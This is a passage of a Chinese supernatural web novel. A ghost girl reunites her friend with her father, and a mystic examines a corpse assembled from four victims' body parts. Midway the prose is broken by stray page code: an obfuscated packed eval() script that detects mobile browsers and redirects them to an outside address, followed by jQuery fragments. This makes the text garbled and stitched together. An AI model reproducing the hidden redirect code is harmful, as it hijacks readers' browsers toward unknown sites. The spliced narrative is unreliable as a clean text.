冰冷的体温在小雨胸口化开,被紧紧抱住的她终于相信一切不是幻觉——方澄澄还有印象中温柔的爸爸出现在了她面前。滚烫的泪水从脸颊滚落,滴到方澄澄肩膀。
“澄澄……”小雨声音哽咽沙哑得几乎听不清她说了什么。
【我永远为女孩子之间的情谊感动!小雨和澄澄真的诠释了‘我会因你的幸福而幸福’这句话!】
【爸爸一看就是温吞的慢性子,看着很好相处,小雨跟他在一起应该很快就能走出来!】
【我支持爸爸,是因为她问了小雨的意见,尊重她的需求。他跟全A妈妈不一样,很认真地把小雨当独立的个体。】
“我会一直陪着你的,在你看不见的地方。”方澄澄安抚似的拍了拍她的背,看了小雨爸爸一眼。
小雨爸爸会意,转身去掀床板搬小雨藏在下面的东西。
“不行!你不能带走她!她是我女儿!”全A妈妈挡在床前,张开双手,眼眶通红如厉鬼,“我苦心教养了十几年,马上开花结果了,你不能带走她!”
她马上就要成为市状元的母亲,高所有人一等了。
这么好的事怎么能让给他这个优柔寡断、一事无成的男人!
方澄澄目光幽冷地看全A妈妈一眼,嘴角上勾,原本稚嫩僵硬的脸在一瞬间变得血肉模糊、残破不堪——她变成了车祸时的样子。
“你不同意,我就先把你带走!”渗人的阴气随着方澄澄的脚步逼近全A妈妈。
“你别过来!”全A妈妈现在才意识到方澄澄是会杀人的鬼,惊声尖叫,逃似的离开了。
方澄澄看着她仓皇逃窜的背影笑了笑,变回正常样子,帮小雨爸爸收拾好东西后把他们送到天梯口。
短时间内,小雨没办法从巨大变故中缓冲出来,她站在电梯里任由爸爸牵着,呆愣愣地看着门口的方澄澄。
就在电梯门关上的瞬间,小雨好似忽然清醒了过来,大声喊道:“下次见面,我给你带你最喜欢的辣条。”
方澄澄眼含泪水,“好,我等你。”
心愿已了,方澄澄对着手机深深鞠了一躬,关闭直播,跟着接引她的阴差去了地府。
-
第二天,沈知鸢没有开直播,应了吕大爷的邀约去家里喝茶画画。刚吃过午饭,陈霄带着问题上门求助了。
“沈大师,我们今天和特调局的玄师配合上午抓捕到了一个毒贩,他身上有两层阵法的痕迹,但具体是什么,玄师们判断不出来。身体也很奇怪,触感像活人一样柔软,却是死人的温度和气色,没有呼吸也没有心跳。有点像是……活死人。”
“活死人?”沈知鸢挑眉,这个新鲜的形容让她对案件有了些兴趣,“带我去警局看看。”
高马尾女警眉飞色舞地说道:“听说陈队去请沈大师了,也不知道沈大师会不会过来!?”
“会来!我刚才收到消息了,沈大师正在赶来的路上!”短发女警下意识整理了下衣服,“我这样见沈大师不失礼吧?她第一次来局里,可不能拉低印象分。”
“好着呢!”
说话间,大院里传来停车声。看清车牌号的瞬间,两人眼睛一亮,加快脚步走到门口,跟其他同事一起迎接沈知鸢。
穿着绿色长裙,皮肤胜雪的沈知鸢脸上架了一副足以挡住半张脸的墨镜,她抬手拢了把头发,跟陈霄一前一后走进警局。
早就占据走廊两侧的警察和玄师们强压着心中的激动,跟她打招呼。
“鸢姐好。”
“沈顾问辛苦了。”
沈知鸢微微颔首,跟着陈霄先后进了停尸间,大门关上,挤在走廊里的众人才敢出声。
“我就知道手机拉低了鸢姐的颜值,真人比手机上更漂亮,更有气质!”
“没想到有一天,我竟然能见到活的鸢姐,真是祖宗烧高香了!”
“诶,你们谁手机像素好?一会把拍到的视频发我一份呗!”
“咱们今天这支援来的太值了啊,可以跟鸢姐近距离学习接触!”
沈知鸢掀开盖在尸体上的白布,垂眸,将这具胸口钉着镇魂钉的尸体打量了一遍。
陈霄拿着文件夹在一旁汇报,“我们核对了嫌疑犯的DNA,他叫余家乐,父母一年前报案失踪。毛发里没有检查出毒品反应,没有吸毒史。”
“没收的毒品在哪?拿过来。”
陈霄打开尸体旁的手提箱,里面安安静摆放着二十瓶用安瓿瓶装起来的黑色粉末。
沈知鸢把安碚瓶对准灯光仔细观察几秒,指尖用力,将安碚瓶拦腰掰断。
黑色粉末被倒在画了符文的黄符纸上,刚一接触,黑色粉末便像被火焰燎到的纸巾一样,瞬间化为火团。
陈霄双眼瞪大,有些不敢置信的看着这幕。
“毒品竟然对符纸有反应?”
“这不是普通的毒品,是毒品和蛊虫的混合剂。”沈知鸢眼底闪过一抹寒光,“普通毒品只会侵蚀人的神经系统,破坏多巴胺和催产素的分泌。”
“而混合剂除了这份作用外,还会偷偷在人体内扎根,吸食食用人的气运反哺给母蛊。”
陈霄闻言,不禁倒吸一口冷气。
“这毒品竟然这么厉害!”
“你们从哪找到的?”沈知鸢问道。
毒品、蛊师、子母蛊,同时找齐这三样东西不是件容易的事,更何况背后还牵扯到场地和金钱。
这不是普通人能做出来的。
“上周我们警局处理了一起打架斗殴案,在其中一人身上发现了这种毒品,据他招供,毒品是余家乐卖给他的。”
“找到了上线,我立刻带人跟踪调查,在他经常出现的地方蹲了三天,这才抓住余家乐。”
案件扯上了玄学,再加上之前陈霄提到的种种怪异,沈知鸢意识到了这件事情的不简单。
她将目光重新落在余家乐身上,审视的眸光扫过脖颈时一顿,敏锐的察觉到了不对劲。
葱根般的手指蓄了玄力,在喉结的位置轻轻一压,‘咔嚓’一声,余家乐的头和身体瞬间分成了两半。
饶是目睹过不少凶杀案现场,出警经验最丰富的陈霄,见到这幕也不免震惊。
分?分开了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17445954|193814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头和身体就这么分开了?!
他眉头紧蹙,惊魂未定的目光紧紧盯着断口处——切面整齐,受力点极小。
看上去不像被沈知鸢按断,而像被锋利的刀子切断的。
恐怖诡异的想法从他脑海中冒了出来,他看向沈知鸢,不太确定的说道。
“沈大师,难、难不成头和身体本就是分开的,是、是有人用了邪门歪道把它们接到一起?”
沈知鸢神色淡淡地嗯了声。
手上的动作很快,轻点几下,余家乐的胳膊、身体、双腿全像积木一样被拆了下来。
“测DNA,用的是头发对吧?”
陈霄惊惧地嗯了声。
“也测一下其他地方的DNA吧,这些零件应该来自不同的主人。”
陈霄不敢耽搁,立刻叫人把尸块送到了检查室。
很快,结果出来了,证明了沈知鸢的推测。
构成余家乐身体的碎块分别来自四个人,其中一个白戈曾经向沈知鸢提起过——徐梦。
处理本喵叫丧咪事件时,老板曾在他们周围现身,跟沈知鸢打了起来,为了逃走,自断一臂。
那对断臂,正是来自徐梦。
“果然,这件事跟老板有关系。”沈知鸢对这个结果毫不意外。
她从口袋里取出了一盒朱砂,沾水,在胸口上画了一道笔法凌厉的符咒。
红光闪过,符咒渐变一般没入胸口,隐藏于血肉之中的阵法先后浮现。
“拨油添灯阵……”沈知鸢念出了阵法的名字。
她看着两道相互重叠却又有细微变化的阵法,眼底闪过一抹思索,前倾,她想明白了其中的关窍。
破了七绝阴煞阵,设置阵法的阵法师便会遭到反噬。若是老板花费巨大的代价,也不是没有保下他的可能。
催动尸体行动的拨油添灯阵,是以人的寿命为燃灯油,将它注入到尸块拼成的灯盏中,驱使他完成任务。
若是阵法师身体尚未恢复,操作不当,被当做灯油的寿命便会失控‘洒’出去,酿成寿命混乱、与记录不符的情况。
沈知鸢这时想到前几天秦广王请自己帮忙调查的事。
“我去趟地府。”沈知鸢说完,打开鬼门关,消失在陈霄面前。
她来到秦广王所在的判鬼殿,一一翻阅了生死簿,核查寿命,均在每个人的生死簿里,找到了无端消失的几年寿命。
这下,沈知鸢完全确定这件事跟老板有脱不开的关系了。
之前只有秦广王提供的一个信息,搜查范围太广,沈知鸢不好下手,到现在有了藏匿在尸块中的阵法,要找到阵法师,易如反掌。
牛头马面殷切地将她送至黄泉路口,“沈大师,若是有需要我们帮忙的,尽管开口。”
沈知鸢笑着颔首,返回警局,将布阵需要的东西交给了陈霄。
有特调局的玄师们帮忙,阵法布置的速度很快,沈知鸢站在阵法中间,手里拿着一块巴掌大小的镜子,点燃符纸,朗声念出一段咒语。
“圆光显现,万里如见。阵法师之形,速现水中。*”